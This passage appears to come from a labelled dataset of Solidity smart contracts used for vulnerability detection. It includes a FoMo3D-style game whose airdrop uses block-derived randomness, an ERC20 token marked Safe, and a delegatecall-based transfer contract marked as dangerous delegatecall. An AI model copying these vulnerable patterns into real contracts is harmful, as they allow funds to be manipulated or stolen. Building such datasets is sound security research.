_pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(58)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _p3d = _p3d.add(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) reward.send(_p3d); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; _p3d = _p3d.add(_com); uint256 _long = _eth / 100; otherF3D_.send(_long); uint256 _aff; uint256 _aff2; uint256 _affID2 = plyr_[_affID].laff; if (_affID2 != 0 && plyr_[_affID2].name != """") { _aff = _eth.mul(10) / 100; _aff2 = _eth.mul(5) / 100; plyr_[_affID2].aff = _aff2.add(plyr_[_affID2].aff); } else { _aff = _eth.mul(15) / 100; } if (_affID != _pID && plyr_[_affID].name != """") { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { reward.send(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(19)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f || msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f || msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f, ""only team just can activate"" ); require(address(otherF3D_) != address(0), ""must link to other FoMo3D first""); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherFomo(address _otherF3D) public { require( msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f || msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f || msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f, ""only team just can activate"" ); require(address(otherF3D_) == address(0), ""silly dev, you already did that""); otherF3D_ = _otherF3D; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherFoMo3D { function potSwap() external payable; } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface DiviesInterface { function deposit() external payable; } interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x03e2aa41156eeb8ab7835593b9c6a982612a52fb_ETFW.sol,"pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ETFW{ using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 4; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); function ETFW() public { totalSupply = 100000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = ""Ether Future Wins""; symbol = ""ETFW""; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool){ _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(balanceOf[msg.sender] >= _value); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender,_spender,_value); return true; } }",Safe,8,8 30679.sol,"pragma solidity ^0.4.18; contract TransferReg { address public Owner = msg.sender; address public DataBase; uint256 public Limit; function Set(address dataBase, uint256 limit) { require(msg.sender == Owner); Limit = limit; DataBase = dataBase; } function()payable{} function transfer(address adr) payable { if(msg.value>Limit) { if(DataBase.delegatecall(bytes4(sha3(""AddToDB(address)"")),msg.sender)) adr.transfer(this.balance); } } } contract Lib { address owner = msg.sender; bytes lastUknownMessage; mapping (address => uint256) Db; function() public payable { lastUknownMessage = msg.data; } function AddToDB(address adr) public payable { Db[adr]++; } function GetAddrCallQty(address adr) public returns(uint) { require(owner==msg.sender); return Db[adr]; } function GetLastMsg() public returns(bytes) { require(owner==msg.sender); return lastUknownMessage; } }",./Dataset/dangerous delegatecall (DE)/,1,1 1372.sol,"pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be 